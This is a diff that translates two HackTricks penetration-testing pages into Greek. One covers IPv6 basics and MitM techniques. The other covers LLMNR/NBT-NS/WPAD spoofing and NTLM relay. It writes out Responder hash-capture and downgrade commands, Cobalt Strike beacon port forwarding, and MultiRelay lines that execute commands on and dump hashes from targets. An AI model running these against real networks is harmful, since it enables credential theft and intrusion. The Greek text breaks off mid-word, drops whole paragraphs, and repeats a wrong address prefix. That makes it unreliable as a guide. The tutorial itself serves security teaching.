* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# IPv6 Basic theory
|
||||
# Βασική θεωρία IPv6
|
||||
|
||||
## Networks
|
||||
## Δίκτυα
|
||||
|
||||
IPv6 addresses are structured to enhance network organization and device interaction. An IPv6 address is divided into:
|
||||
Οι διευθύνσεις IPv6 είναι δομημένες για να βελτιώσουν την οργάνωση του δικτύου και την αλληλεπίδραση των συσκευών. Μια διεύθυνση IPv6 χωρίζεται σε:
|
||||
|
||||
1. **Network Prefix**: The initial 48 bits, determining the network segment.
|
||||
2. **Subnet ID**: Following 16 bits, used for defining specific subnets within the network.
|
||||
3. **Interface Identifier**: The concluding 64 bits, uniquely identifying a device within the subnet.
|
||||
1. **Πρόθεμα Δικτύου**: Τα πρώτα 48 bits, που καθορίζουν το τμήμα του δικτύου.
|
||||
2. **Ταυτότητα Υποδικτύου**: Τα επόμενα 16 bits, που χρησιμοποιούνται για τον καθορισμό συγκεκριμένων υποδικτύων εντός του δικτύου.
|
||||
3. **Αναγνωριστικό Διεπαφής**: Τα τελευταία 64 bits, που αναγνωρίζουν μοναδικά μια συσκευή εντός του υποδικτύου.
|
||||
|
||||
While IPv6 omits the ARP protocol found in IPv4, it introduces **ICMPv6** with two primary messages:
|
||||
- **Neighbor Solicitation (NS)**: Multicast messages for address resolution.
|
||||
- **Neighbor Advertisement (NA)**: Unicast responses to NS or spontaneous announcements.
|
||||
Ενώ η IPv6 παραλείπει το πρωτόκολλο ARP που βρίσκεται στην IPv4, εισάγει το **ICMPv6** με δύο κύρια μηνύματα:
|
||||
- **Αίτηση Γείτονα (NS)**: Πολυεκπομπή μηνύματα για την ανάλυση διεύθυνσης.
|
||||
- **Απάντηση Γείτονα (NA)**: Μονοεκπομπή απαντήσεις σε NS ή αυθόρμητες ανακοινώσεις.
|
||||
|
||||
IPv6 also incorporates special address types:
|
||||
- **Loopback Address (`::1`)**: Equivalent to IPv4's `127.0.0.1`, for internal communication within the host.
|
||||
- **Link-Local Addresses (`FE80::/10`)**: For local network activities, not for internet routing. Devices on the same local network can discover each other using this range.
|
||||
Η IPv6 ενσωματώνει επίσης ειδικούς τύπους διευθύνσεων:
|
||||
- **Διεύθυνση Επιστροφής (`::1`)**: Αντίστοιχη με το `127.0.0.1` της IPv4, για εσωτερική επικοινωνία εντός του κεντρικού υπολογιστή.
|
||||
- **Τοπικές Διευθύνσεις Δικτύου (`FE80::/10`)**: Για τις τοπικές δραστηριότητες του δικτύου, όχι για δρομολόγηση στο διαδίκτυο. Οι συσκευές στο ίδιο τοπικό δίκτυο μπορούν να ανακαλύψουν η μία την άλλη χρησιμοποιώντας αυτό το εύρος.
|
||||
|
||||
### Practical Usage of IPv6 in Network Commands
|
||||
### Πρακτική Χρήση του IPv6 σε Εντολές Δικτύου
|
||||
|
||||
To interact with IPv6 networks, you can use various commands:
|
||||
- **Ping Link-Local Addresses**: Check the presence of local devices using `ping6`.
|
||||
- **Neighbor Discovery**: Use `ip neigh` to view devices discovered at the link layer.
|
||||
- **alive6**: An alternative tool for discovering devices on the same network.
|
||||
|
||||
Below are some command examples:
|
||||
Για να αλληλεπιδράσετε με δίκτυα IPv6, μπορείτε να χρησιμοποιήσετε διάφορες εντολές:
|
||||
- **Ping Link-Local Διευθύνσεις**: Ελέγξτε την παρουσία τοπικών συσκευών χρησιμοποιώντας το `ping6`.
|
||||
- **Ανακάλυψη Γείτονα**: Χρησιμοποιήστε το `ip neigh` για να δείτε τις συσκευές που ανακαλύφθηκαν στο επίπεδο σύνδεσης.
|
||||
- **alive6**: Ένα εναλλακτικό εργαλείο για την ανακάλυψη συσκευών στο ίδιο δίκτυο.
|
||||
|
||||
Παρακάτω παρουσιάζονται μερικά παραδείγματα εντολών:
|
||||
```bash
|
||||
ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
|
||||
ip neigh | grep ^fe80
|
||||
|
@ -49,74 +46,67 @@ ip neigh | grep ^fe80
|
|||
# Alternatively, use alive6 for neighbor discovery
|
||||
alive6 eth0
|
||||
```
|
||||
Οι διευθύνσεις IPv6 μπορούν να προκύψουν από τη διεύθυνση MAC ενός συσκευής για τοπική επικοινωνία. Παρακάτω παρέχεται ένας απλοποιημένος οδηγός για το πώς να προκύψετε τη διεύθυνση Link-local IPv6 από μια γνωστή διεύθυνση MAC, καθώς και μια σύντομη επισκόπηση των τύπων διευθύνσεων IPv6 και των μεθόδων ανακάλυψης διευθύνσεων IPv6 εντός ενός δικτύου.
|
||||
|
||||
IPv6 addresses can be derived from a device's MAC address for local communication. Here's a simplified guide on how to derive the Link-local IPv6 address from a known MAC address, and a brief overview of IPv6 address types and methods to discover IPv6 addresses within a network.
|
||||
## **Προκύπτοντας τη Link-local IPv6 από τη διεύθυνση MAC**
|
||||
|
||||
## **Deriving Link-local IPv6 from MAC Address**
|
||||
Δεδομένης μιας διεύθυνσης MAC **`12:34:56:78:9a:bc`**, μπορείτε να κατασκευάσετε τη διεύθυνση Link-local IPv6 ως εξής:
|
||||
|
||||
Given a MAC address **`12:34:56:78:9a:bc`**, you can construct the Link-local IPv6 address as follows:
|
||||
1. Μετατρέψτε τη MAC σε μορφή IPv6: **`1234:5678:9abc`**
|
||||
2. Προσθέστε το `fe80::` και εισαγάγετε το `fffe` στη μέση: **`fe80::1234:56ff:fe78:9abc`**
|
||||
3. Αντιστρέψτε τον έβδομο ψηφίο από αριστερά, αλλάζοντας το `1234` σε `1034`: **`fe80::1034:56ff:fe78:9abc`**
|
||||
|
||||
1. Convert MAC to IPv6 format: **`1234:5678:9abc`**
|
||||
2. Prepend `fe80::` and insert `fffe` in the middle: **`fe80::1234:56ff:fe78:9abc`**
|
||||
3. Invert the seventh bit from the left, changing `1234` to `1034`: **`fe80::1034:56ff:fe78:9abc`**
|
||||
## **Τύποι Διευθύνσεων IPv6**
|
||||
|
||||
## **IPv6 Address Types**
|
||||
- **Unique Local Address (ULA)**: Για τοπική επικοινωνία, δεν προορίζεται για δρομολόγηση στο διαδίκτυο. Πρόθεμα: **`FEC00::/7`**
|
||||
- **Διεύθυνση Πολυεκπομπής**: Για επικοινωνία ενός προς πολλούς. Παραδίδεται σε όλες τις διεπαφές της ομάδας πολυεκπομπής. Πρόθεμα: **`FF00::/8`**
|
||||
- **Διεύθυνση Οποιασδήποτε Προορισμού**: Για επικοινωνία ενός προς τον πλησιέστερο προορισμό. Αποστέλλεται στην πλησιέστερη διεπαφή σύμφωνα με το πρωτόκολλο δρομολόγησης. Ανήκει στο εύρος παγκόσμιας μοναδικής διεύθυνσης **`2000::/3`**.
|
||||
|
||||
- **Unique Local Address (ULA)**: For local communications, not meant for public internet routing. Prefix: **`FEC00::/7`**
|
||||
- **Multicast Address**: For one-to-many communication. Delivered to all interfaces in the multicast group. Prefix: **`FF00::/8`**
|
||||
- **Anycast Address**: For one-to-nearest communication. Sent to the closest interface as per routing protocol. Part of the **`2000::/3`** global unicast range.
|
||||
## **Προθέματα Διευθύνσεων**
|
||||
- **fe80::/10**: Διευθύνσεις Link-Local (παρόμοιες με τις 169.254.x.x)
|
||||
- **fc00::/7**: Μοναδική Τοπική-Μοναδική (παρόμοιες με τις ιδιωτικές περιοχές IPv4 όπως 10.x.x.x, 172.16.x.x, 192.168.x.x)
|
||||
- **2000::/3**: Παγκόσμια Μοναδική
|
||||
- **ff02::1**: Πολυεκπομπή Όλοι Οι Κόμβοι
|
||||
- **ff02::2**: Πολυεκπομπή Κόμβοι Δρομολογητή
|
||||
|
||||
## **Address Prefixes**
|
||||
- **fe80::/10**: Link-Local addresses (similar to 169.254.x.x)
|
||||
- **fc00::/7**: Unique Local-Unicast (similar to private IPv4 ranges like 10.x.x.x, 172.16.x.x, 192.168.x.x)
|
||||
- **2000::/3**: Global Unicast
|
||||
- **ff02::1**: Multicast All Nodes
|
||||
- **ff02::2**: Multicast Router Nodes
|
||||
## **Ανακάλυψη Διευθύνσεων IPv6 εντός ενός Δικτύου**
|
||||
|
||||
## **Discovering IPv6 Addresses within a Network**
|
||||
|
||||
### Way 1: Using Link-local Addresses
|
||||
1. Obtain the MAC address of a device within the network.
|
||||
2. Derive the Link-local IPv6 address from the MAC address.
|
||||
|
||||
### Way 2: Using Multicast
|
||||
1. Send a ping to the multicast address `ff02::1` to discover IPv6 addresses on the local network.
|
||||
### Τρόπος 1: Χρησιμοποιώντας Διευθύνσεις Link-local
|
||||
1. Αποκτήστε τη διεύθυνση MAC μιας συσκευής εντός του δικτύου.
|
||||
2. Προκύψτε τη διεύθυνση Link-local IPv6 από τη διεύθυνση MAC.
|
||||
|
||||
### Τρόπος 2: Χρησιμοποιώντας Πολυεκπομπή
|
||||
1. Αποστείλετε ένα ping στη διεύθυνση πολυεκπομπής `ff02::1` για να ανακαλύψετε διευθύνσεις IPv6 στο τοπικό δίκτυο.
|
||||
```bash
|
||||
service ufw stop # Stop the firewall
|
||||
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
|
||||
ip -6 neigh # Display the neighbor table
|
||||
```
|
||||
## Επιθέσεις Man-in-the-Middle (MitM) σε IPv6
|
||||
Υπάρχουν αρκετές τεχνικές για την εκτέλεση επιθέσεων MitM σε δίκτυα IPv6, όπως:
|
||||
|
||||
## IPv6 Man-in-the-Middle (MitM) Attacks
|
||||
Several techniques exist for executing MitM attacks in IPv6 networks, such as:
|
||||
- Πλαστογραφώντας διαφημίσεις γείτονα ή δρομολογητή ICMPv6.
|
||||
- Χρησιμοποιώντας μηνύματα ανακατεύθυνσης ICMPv6 ή "Packet Too Big" για την παραπλάνηση της δρομολόγησης.
|
||||
- Επιτίθεται στο κινητό IPv6 (συνήθως απαιτείται η απενεργοποίηση του IPSec).
|
||||
- Δημιουργία ενός ψεύτικου διακομιστή DHCPv6.
|
||||
|
||||
- Spoofing ICMPv6 neighbor or router advertisements.
|
||||
- Using ICMPv6 redirect or "Packet Too Big" messages to manipulate routing.
|
||||
- Attacking mobile IPv6 (usually requires IPSec to be disabled).
|
||||
- Setting up a rogue DHCPv6 server.
|
||||
|
||||
|
||||
# Identifying IPv6 Addresses in the eild
|
||||
|
||||
## Exploring Subdomains
|
||||
A method to find subdomains that are potentially linked to IPv6 addresses involves leveraging search engines. For instance, employing a query pattern like `ipv6.*` can be effective. Specifically, the following search command can be used in Google:
|
||||
# Αναγνώριση διευθύνσεων IPv6 στο πεδίο
|
||||
|
||||
## Εξερεύνηση υποτομέων
|
||||
Μια μέθοδος για την εύρεση υποτομέων που ενδεχομένως συνδέονται με διευθύνσεις IPv6 εμπλέκει την αξιοποίηση μηχανών αναζήτησης. Για παράδειγμα, η χρήση ενός προτύπου ερωτήματος όπως `ipv6.*` μπορεί να είναι αποτελεσματική. Συγκεκριμένα, το παρακάτω ερωτηματικό μπορεί να χρησιμοποιηθεί στο Google:
|
||||
```bash
|
||||
site:ipv6./
|
||||
```
|
||||
## Χρήση ερωτήσεων DNS
|
||||
Για την εντοπισμό των διευθύνσεων IPv6, μπορούν να γίνουν ερωτήσεις σε συγκεκριμένους τύπους εγγραφών DNS:
|
||||
- **AXFR**: Ζητά μια πλήρη μεταφορά ζώνης, αποκαλύπτοντας πιθανώς μια ευρεία γκάμα εγγραφών DNS.
|
||||
- **AAAA**: Αναζητά απευθείας διευθύνσεις IPv6.
|
||||
- **ANY**: Μια ευρεία ερώτηση που επιστρέφει όλες τις διαθέσιμες εγγραφές DNS.
|
||||
|
||||
## Utilizing DNS Queries
|
||||
To identify IPv6 addresses, certain DNS record types can be queried:
|
||||
- **AXFR**: Requests a complete zone transfer, potentially uncovering a wide range of DNS records.
|
||||
- **AAAA**: Directly seeks out IPv6 addresses.
|
||||
- **ANY**: A broad query that returns all available DNS records.
|
||||
## Εξερεύνηση με το Ping6
|
||||
Αφού εντοπιστούν οι διευθύνσεις IPv6 που σχετίζονται με μια οργάνωση, μπορεί να χρησιμοποιηθεί το εργαλείο `ping6` για εξερεύνηση. Αυτό το εργαλείο βοηθά στην αξιολόγηση της ανταπόκρισης των εντοπισμένων διευθύνσεων IPv6 και μπορεί επίσης να βοηθήσει στην ανακάλυψη γειτονικών συσκευών IPv6.
|
||||
|
||||
## Probing with Ping6
|
||||
After pinpointing IPv6 addresses associated with an organization, the `ping6` utility can be used for probing. This tool helps in assessing the responsiveness of identified IPv6 addresses, and might also assist in discovering adjacent IPv6 devices.
|
||||
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
|
||||
* [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
|
||||
* [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
|
||||
|
@ -124,16 +114,14 @@ After pinpointing IPv6 addresses associated with an organization, the `ping6` ut
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
|
@ -1,85 +1,70 @@
|
|||
# Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
|
||||
# Παραπλάνηση LLMNR, NBT-NS, mDNS/DNS και WPAD και επιθέσεις Relay
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
## Network Protocols
|
||||
## Πρωτόκολλα Δικτύου
|
||||
|
||||
### Local Host Resolution Protocols
|
||||
- **LLMNR, NBT-NS, and mDNS**:
|
||||
- Microsoft and other operating systems use LLMNR and NBT-NS for local name resolution when DNS fails. Similarly, Apple and Linux systems use mDNS.
|
||||
- These protocols are susceptible to interception and spoofing due to their unauthenticated, broadcast nature over UDP.
|
||||
- [Responder](https://github.com/lgandx/Responder) can be used to impersonate services by sending forged responses to hosts querying these protocols.
|
||||
- Further information on service impersonation using Responder can be found [here](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
### Πρωτόκολλα Τοπικής Ανάλυσης Ονομάτων
|
||||
- **LLMNR, NBT-NS και mDNS**:
|
||||
- Η Microsoft και άλλα λειτουργικά συστήματα χρησιμοποιούν τα LLMNR και NBT-NS για την τοπική ανάλυση ονομάτων όταν αποτυγχάνει το DNS. Αντίστοιχα, τα συστήματα της Apple και του Linux χρησιμοποιούν το mDNS.
|
||||
- Αυτά τα πρωτόκολλα είναι ευάλωτα σε παρεμβολή και παραπλάνηση λόγω της μη επαληθευμένης, ευρείας φύσης τους μέσω του πρωτοκόλλου UDP.
|
||||
- Το [Responder](https://github.com/lgandx/Responder) μπορεί να χρησιμοποιηθεί για να παραπλανήσει υπηρεσίες αποστέλλοντας πλαστές απαντήσεις σε κεντρικούς υπολογιστές που ερωτούν αυτά τα πρωτόκολλα.
|
||||
- Περισσότερες πληροφορίες για την παραπλάνηση υπηρεσιών χρησιμοποιώντας το Responder μπορούν να βρεθούν [εδώ](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### Web Proxy Auto-Discovery Protocol (WPAD)
|
||||
- WPAD allows browsers to discover proxy settings automatically.
|
||||
- Discovery is facilitated via DHCP, DNS, or fallback to LLMNR and NBT-NS if DNS fails.
|
||||
- Responder can automate WPAD attacks, directing clients to malicious WPAD servers.
|
||||
### Πρωτόκολλο Αυτόματης Ανακάλυψης Ιστοσελίδων Μεσολάβησης (WPAD)
|
||||
- Το WPAD επιτρέπει στους περιηγητές να ανακαλύπτουν αυτόματα τις ρυθμίσεις μεσολάβησης.
|
||||
- Η ανακάλυψη γίνεται μέσω DHCP, DNS ή ανατροπή σε LLMNR και NBT-NS αν αποτύχει το DNS.
|
||||
- Το Responder μπορεί να αυτοματοποιήσει επιθέσεις WPAD, καθοδηγώντας τους πελάτες σε κακόβουλους διακομιστές WPAD.
|
||||
|
||||
### Responder for Protocol Poisoning
|
||||
- **Responder** is a tool used for poisoning LLMNR, NBT-NS, and mDNS queries, selectively responding based on query types, primarily targeting SMB services.
|
||||
- It comes pre-installed in Kali Linux, configurable at `/etc/responder/Responder.conf`.
|
||||
- Responder displays captured hashes on the screen and saves them in the `/usr/share/responder/logs` directory.
|
||||
- It supports both IPv4 and IPv6.
|
||||
- Windows version of Responder is available [here](https://github.com/lgandx/Responder-Windows).
|
||||
### Παραπλάνηση Πρωτοκόλλου με το Responder
|
||||
- Το **Responder** είναι ένα εργαλείο που χρησιμοποιείται για την παραπλάνηση των ερωτημάτων LLMNR, NBT-NS και mDNS, απαντώντας εκλεκτικά βάσει των τύπων ερωτημάτων, κυρίως στις υπηρεσίες SMB.
|
||||
- Είναι προεγκατεστημένο στο Kali Linux και μπορεί να διαμορφωθεί στο `/etc/responder/Responder.conf`.
|
||||
- Το Responder εμφανίζει τις καταγεγραμμένες κατακερματισμένες τιμές στην οθόνη και τις αποθηκεύει στον φάκελο `/usr/share/responder/logs`.
|
||||
- Υποστηρίζει τόσο το IPv4 όσο και το IPv6.
|
||||
- Η έκδοση του Responder για τα Windows είναι διαθέσιμη [εδώ](https://github.com/lgandx/Responder-Windows).
|
||||
|
||||
#### Running Responder
|
||||
- To run Responder with default settings: `responder -I <Interface>`
|
||||
- For more aggressive probing (with potential side effects): `responder -I <Interface> -P -r -v`
|
||||
- Techniques to capture NTLMv1 challenges/responses for easier cracking: `responder -I <Interface> --lm --disable-ess`
|
||||
- WPAD impersonation can be activated with: `responder -I <Interface> --wpad`
|
||||
- NetBIOS requests can be resolved to the attacker's IP, and an authentication proxy can be set up: `responder.py -I <interface> -Pv`
|
||||
|
||||
### DHCP Poisoning with Responder
|
||||
- Spoofing DHCP responses can permanently poison a victim's routing information, offering a stealthier alternative to ARP poisoning.
|
||||
- It requires precise knowledge of the target network's configuration.
|
||||
- Running the attack: `./Responder.py -I eth0 -Pdv`
|
||||
- This method can effectively capture NTLMv1/2 hashes, but it requires careful handling to avoid network disruption.
|
||||
|
||||
### Capturing Credentials with Responder
|
||||
- Responder will impersonate services using the above-mentioned protocols, capturing credentials (usually NTLMv2 Challenge/Response) when a user attempts to authenticate against the spoofed services.
|
||||
- Attempts can be made to downgrade to NetNTLMv1 or disable ESS for easier credential cracking.
|
||||
|
||||
It's crucial to note that employing these techniques should be done legally and ethically, ensuring proper authorization and avoiding disruption or unauthorized access.
|
||||
|
||||
## Inveigh
|
||||
|
||||
Inveigh is a tool for penetration testers and red teamers, designed for Windows systems. It offers functionalities similar to Responder, performing spoofing and man-in-the-middle attacks. The tool has evolved from a PowerShell script to a C# binary, with [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) and [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) as the main versions. Detailed parameters and instructions can be found in the [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
|
||||
|
||||
Inveigh can be operated through PowerShell:
|
||||
#### Εκτέλεση του Responder
|
||||
- Για να εκτελέσετε το Responder με τις προεπιλεγμένες ρυθμίσεις: `responder -I <Διεπαφή>`
|
||||
- Για πιο επιθετική ανίχνευση (με πιθανές παρενέργειες): `responder -I <Διεπαφή> -P -r -v`
|
||||
- Τεχνικές για την καταγραφή προκλήσεων/απαντήσεων NTLMv1 για ευκολότερη αποκωδικοποίηση: `responder -I <Διεπαφή> --lm --disable-ess`
|
||||
- Η παραπλάνηση του WPAD μπορεί να ενεργοποιηθεί με: `responder -I <Διεπαφή> --wpad`
|
||||
- Τα αιτήματα NetBIOS μπορούν να επιλυθούν στη διεύθυνση IP του επιτιθέμενου και μπορεί να δημιουργηθεί ένας πρόσθετος διακομιστής εξουσιοδότησης: `responder.py -I <διεπαφή> -Pv`
|
||||
|
||||
### Δηλητηρίαση DHCP με το Responder
|
||||
- Η παραπλάνηση των απαντήσεων DHCP μπορεί να δηλητηριάσει μόνιμα τις πληροφορίες δρομολόγησης ενός θύματος, προσφέροντας μια πιο αόρατη εναλλακτική λύση στη δηλητηρίαση ARP.
|
||||
- Απαιτεί ακριβή γνώση της διαμόρφωσης του δικτύου στόχου.
|
||||
- Εκτέλεση της επίθεσης: `./Responder.py -I eth0 -Pdv`
|
||||
- Αυτή η μέθοδος μπορεί να καταγράψει αποτελεσματικ
|
||||
```powershell
|
||||
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
|
||||
```
|
||||
|
||||
Or executed as a C# binary:
|
||||
Ή εκτελείται ως ένα δυαδικό αρχείο C#:
|
||||
```bash
|
||||
Inveigh.exe
|
||||
```
|
||||
### Επίθεση NTLM Relay
|
||||
|
||||
### NTLM Relay Attack
|
||||
Αυτή η επίθεση εκμεταλλεύεται τις συνεδρίες ελέγχου ταυτότητας SMB για να αποκτήσει πρόσβαση σε έναν στόχο μηχανής, παρέχοντας ένα κέλυφος συστήματος εάν είναι επιτυχής. Βασικές προϋποθέσεις περιλαμβάνουν:
|
||||
- Ο αυθεντικοποιούμενος χρήστης πρέπει να έχει τοπική διαχείριση στον υπολογιστή προώθησης.
|
||||
- Η υπογραφή SMB πρέπει να είναι απενεργοποιημένη.
|
||||
|
||||
This attack leverages SMB authentication sessions to access a target machine, granting a system shell if successful. Key prerequisites include:
|
||||
- The authenticating user must have Local Admin access on the relayed host.
|
||||
- SMB signing should be disabled.
|
||||
#### Προώθηση και τούνελινγκ της θύρας 445
|
||||
|
||||
#### 445 Port Forwarding and Tunneling
|
||||
Σε περιπτώσεις όπου δεν είναι εφικτή η άμεση εισαγωγή στο δίκτυο, ο κίνηση στη θύρα 445 πρέπει να προωθηθεί και να τούνελινγκ. Εργαλεία όπως το [**PortBender**](https://github.com/praetorian-inc/PortBender) βοηθούν στην ανακατεύθυνση της κίνησης της θύρας 445 σε μια άλλη θύρα, η οποία είναι απαραίτητη όταν υπάρχει διαθέσιμη τοπική διαχείριση για φόρτωση οδηγού.
|
||||
|
||||
In scenarios where direct network introduction isn't feasible, traffic on port 445 needs to be forwarded and tunneled. Tools like [**PortBender**](https://github.com/praetorian-inc/PortBender) help in redirecting port 445 traffic to another port, which is essential when local admin access is available for driver loading.
|
||||
|
||||
PortBender setup and operation in Cobalt Strike:
|
||||
Ρύθμιση και λειτουργία του PortBender στο Cobalt Strike:
|
||||
```bash
|
||||
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
|
||||
|
||||
|
@ -95,18 +80,17 @@ beacon> jobkill 0
|
|||
beacon> rportfwd stop 8445
|
||||
beacon> socks stop
|
||||
```
|
||||
### Άλλα Εργαλεία για Επίθεση NTLM Relay
|
||||
|
||||
### Other Tools for NTLM Relay Attack
|
||||
- **Metasploit**: Ρυθμίζεται με λεπτομέρειες για τοπικούς και απομακρυσμένους διακομιστές.
|
||||
- **smbrelayx**: Ένα Python script για την ανακατεύθυνση των συνεδριών SMB και την εκτέλεση εντολών ή την εγκατάσταση παρασκηνίου.
|
||||
- **MultiRelay**: Ένα εργαλείο από το σύνολο εργαλείων Responder για την ανακατεύθυνση συγκεκριμένων χρηστών ή όλων των χρηστών, την εκτέλεση εντολών ή την αποθήκευση κατακερματισμένων κωδικών πρόσβασης.
|
||||
|
||||
- **Metasploit**: Set up with proxies, local and remote host details.
|
||||
- **smbrelayx**: A Python script for relaying SMB sessions and executing commands or deploying backdoors.
|
||||
- **MultiRelay**: A tool from the Responder suite to relay specific users or all users, execute commands, or dump hashes.
|
||||
Κάθε εργαλείο μπορεί να ρυθμιστεί για να λειτουργεί μέσω ενός SOCKS proxy αν είναι απαραίτητο, επιτρέποντας επιθέσεις ακόμα και με έμμεση πρόσβαση στο δίκτυο.
|
||||
|
||||
Each tool can be configured to operate through a SOCKS proxy if necessary, enabling attacks even with indirect network access.
|
||||
### Λειτουργία του MultiRelay
|
||||
|
||||
### MultiRelay Operation
|
||||
|
||||
MultiRelay is executed from the _**/usr/share/responder/tools**_ directory, targeting specific IPs or users.
|
||||
Το MultiRelay εκτελείται από τον φάκελο _**/usr/share/responder/tools**_, στοχεύοντας συγκεκριμένες διευθύνσεις IP ή χρήστες.
|
||||
```bash
|
||||
python MultiRelay.py -t <IP target> -u ALL # Relay all users
|
||||
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
|
||||
|
@ -114,35 +98,34 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
|
|||
|
||||
# Proxychains for routing traffic
|
||||
```
|
||||
